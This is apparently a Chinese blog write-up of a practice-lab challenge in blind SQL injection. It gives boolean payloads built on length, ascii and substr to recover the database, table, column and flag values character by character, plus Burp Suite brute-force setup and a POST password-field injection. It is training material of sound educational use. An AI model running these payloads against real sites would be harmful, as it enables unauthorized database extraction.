zoukankan      html  css  js  c++  java
  • 2.盲注没有回显的注入

    盲注-没有回显的注入

    sql盲注-靶场A

    依然是拿你熟悉的flag

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1
    

    image-20210116125952445

    看图说话,数字型注入,没有回显,由于前几关的经验得知,网站后台使用的数据库是mysql,而且是5.0以上

    那这关既然是盲注估计应该是另一个库,先用之前的error库试一下

    ?id=1 and database()='error'
    

    image-20210116130729509

    呵呵果然不是原来的库了,你大爷的

    1. 获取库名

    由于没有回显,那么库名的获取只能靠猜了,但是猜之前你是不是要判断一下库名的猜长度,要不然你猜个鸡毛

    length()                        返回字符串的长度
    length(database())       返回库名的长度
    我也不建议你一个一个长度等于号的去猜,有种二分法这种算法,可以快速定位
    
    
    ?id=1 and length(database())>0        有数据
    ?id=1 and length(database())<10      No results found 
    

    image-20210116131441933

    说明库名的长度大于10,可以通过小于15,一步一步进行比较,最后得出库名长度为12

    image-20210116131633776

    接下来就是判断这12个字符具体是哪些内容了,但是字符和数字之间怎么比较呢?不知道你还记不记的ascii码对

    照表了,里面每个字符都有一个对应的10进制数表示,那怎么转换呢,这就要利用ascii这个函数了

    ascii('a')    --->   97
    解决了字符和数字之间的转换,但是database()返回的是12个字符啊,一下子去比较12个字符也不现实啊,而且
    也比较不了啊,这个时候就要用到substr这个函数了
    
    substr('hello',1,1)     -->  h
    接收三个参数,第一个参数是要截取的字符串,第二个参数是开始截取的位置,第三个参数是截取的长度
    

    利用这两个函数就可以完美解决你一个一个字符比较的问题了

    ?id=1 and ascii(substr(database(),1,1))>100
    

    image-20210116132757777

    ?id=1 and ascii(substr(database(),1,1))<110
    

    image-20210116132817663

    ?id=1 and ascii(substr(database(),1,1))>105
    

    image-20210116132900741

    ?id=1 and ascii(substr(database(),1,1))<108
    

    image-20210116132942454

    既然是在105和108之间,那不是106,就是107

    ?id=1 and ascii(substr(database(),1,1))=107
    

    image-20210116133032336

    我就喜欢大的,果然一试就对,通过查找ascii码对照表得出107是小写的k

    image-20210116133233769

    我不知道你怎么想的,发现每次测试的时候都是更改那个位置的值,你心里面就没有一点想法?菜鸡

    没错,Burpsuite暴力猜解啊

    先进行有数据返回和没结果的包的比较

    image-20210116134436832

    image-20210116134330715

    比较返回的数据包

    image-20210116134559954

    image-20210116134752052

    开始暴力猜解

    image-20210116134904212

    选择攻击类型和添加变量

    image-20210116135010640

    设置第一个变量的payload为1-12

    image-20210116135122210

    设置第二个变量的payload,因为falg的格式内容是英文字母和-组成,所以我们添加大小写字母和-对应的10进制

    数,来表示,- (短杠) ---》 45

    image-20210116135824869

    添加按照关键字去匹配

    image-20210116135911614

    开始攻击

    image-20210116135939569

    image-20210116140117374

    根据返回的结果,一一对照得出库名

    107    97   110   119   111   108   111   110   103   120   105    97k         a       n      w      o       l         o      n       g       x       i        a
    

    验证库名是否正确

    ?id=1 and database()='kanwolongxia'
    

    image-20210116141524152

    2. 获取表名

    获取表名的套路和库名的套路都是先获取长度,再获取每个字符的内容

    获取表名长度

    ?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1 因为不知道这个库下有几个表,所以只能用limit 0,1 一个一个的去查
    

    image-20210116142743419

    设置payload的值

    image-20210116142859796

    添加匹配的关键字

    image-20210116142944568

    开始攻击

    image-20210116143000976

    image-20210116143030426

    得出第一个表名的长度的为6

    接下来就是获取每个字符的内容,表名的话一般

    ?id=1 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=100
    

    添加变量和设置攻击方法

    image-20210116143701587

    为第一个变量设置payload

    image-20210116143742808

    为第二个变量设置payload,因为表名一般都不会有特殊字符,而且大多数都是小写的,所以第二个的数值设置为

    97-122即可

    image-20210116144029863

    添加匹配的关键字

    image-20210116144119663

    开始攻击

    image-20210116144211463

    108    111   102   108   97   103    l        o      f         l      a       g
    

    运气真好第一个表名就是和flag相关的,还算这个靶场有点良心,没有故意刁难你

    3. 获取字段

    一般表的第一个字段都会是id字段,这里直接验证一下

    ?id=1 and (select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1)='id'
    

    image-20210116144633864

    说明第一个字段果然是id字段,别问我怎么知道的,你写过项目的都懂

    接下来我们就来判断第二个字段的字段名,这里我们可以跳过对长度的猜解,我们把长度设置大一点,这样一般不

    会漏掉,而且我遇到的字段很少有超过10的,大部分都是5-8左右,而且表名大多数都是小写英文字母组成

    ?id=1 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='loflag' limit 1,1)=97注意 limit 1,1  因为是猜解第二个字段
    

    详细的步骤截图我就粘贴了,步骤和猜解表名一样,都是集束炸弹攻击类型,两个变量,一个是截取的位置,一个

    是ascii码对应的10进制数,设置payload,添加匹配字符串

    image-20210116145553174

    102    108  97  103   108  111  f         l      a    g        l      o
    

    我靠和表名反过来,属实够刺激的

    4. 获取值

    一个一个获取flag吧

    ?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 0,1)=97
    

    同样可以跳过长度的判断,把截取的位置的最大值设大一点,这个和获取库名内容是一样的,我就不废话了

    image-20210116150118500

    image-20210116150159020

    image-20210116150234294

    image-20210116150446112

    image-20210116150424799

    122  75  97   81  45  81   81  81  z     K    a     Q    -    Q     Q    Q
    

    sql盲注一共三个靶场,分别是靶场A ,B ,C,小菜鸡的我都知道肯定都在这一张表,只需要limit 1,1 limit 2,1

    就能得到剩下的两个flag

    ?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 1,1)=97
    

    image-20210116151149148

    122  75  97   81  45   82   68  z     K    a     Q    -    R      D
    
    ?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 2,1)=97
    

    image-20210116151440312

    122  75   97   81  45   77   111  114  101 110z        K    a    Q     -     M    o      r       e      n
    

    回头查看靶场B和靶场C

    靶场B和靶场A比较就多了一个闭合方式是双引号靶场C的注入就特殊了,这里简单提一下思路
    

    靶场C的注入提交方式为post提交,这里简单提示一下账号是admin,密码是asdasdd,可以通过前面的语句猜解

    到有一个user表里面有条用户记录

    username=admin&password=asdasdd' and (select ascii(substr(flaglo,§1§,1)) from loflag limit 2,1)=§100§--+&submit=%E7%99%BB%E5%BD%95别问我为什么在password后面构建sql语句 , 我猜的 , 看源码提示啊
    

    image-20210116153540301

    设置第一个payload

    image-20210116153613420

    第二个payload

    image-20210116153638337

    设置匹配的关键字,注意这次的关键字和之前的不一样,因为页面有变化,但是可以对比器找到关键字

    成功登录这是成功登陆,也不知道这是什么奇怪的编码
    

    image-20210116155238391

    开始攻击

    image-20210116154959889

    和上面的一比较发现是一样的

    总结

    学会口算ascii码对应的10进制数和注意limit,注意关键字的寻找

  • 相关阅读:
    DOCTYPE
    js——类型转换
    对象Object
    Array数组
    es6学习笔记
    springboot第一个项目【mybatis】
    springboot第一个项目【创建】
    项目管理和流程的拙见
    树莓派 Zero作为飞控图传
    一根数据线玩转树莓派Zero
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712462.html
Copyright © 2011-2022 走看看